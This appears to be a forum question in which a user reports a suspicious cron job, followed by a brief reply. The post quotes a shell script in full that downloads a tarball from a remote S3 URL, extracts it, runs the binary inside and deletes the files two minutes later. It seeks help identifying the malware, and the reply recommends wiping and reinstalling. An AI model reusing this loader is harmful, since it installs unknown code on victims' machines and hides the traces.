Cron mail notifies error of suspicious unknown script Thanks to the mail function of the Terminal it came to my attention that there was some kind of cron job being executed with some errors.

The mail of the cron gives this info:

It seems this was executed by some script located in: ~/Library/sandastros.np/sandastros.np whose content I can't be able to read or decypher.

I checked that script located in /tmp/iu.sh that contains the following:

#!/bin/bash
/usr/bin/curl -s -L -o /var/tmp/xSf.tgz "https://s3.amazonaws.com/xsfer/xSf.tgz"
mkdir -p /var/tmp/xSf
tar -xzf /var/tmp/xSf.tgz -C /var/tmp/xSf/
cd /var/tmp/xSf/
./xSf

func_cccc(){
sleep 120
rm -rf /var/tmp/xSf
rm -rf /var/tmp/xSf.tgz
}
func_cccc &amp;


That URL is reachable but I didn't want to download and open the tar file.
The /tmp folder permissions are properly set, though the iu.sh has my user as owner, so it seems allowing the installation of anything I might have given permissions to it.

Any clue about what is this?
It looks a lot like some kind of malware.

If you do not know where xSF and sandastros.np came from, I would consider the computer compromised and do a full format and reinstall.
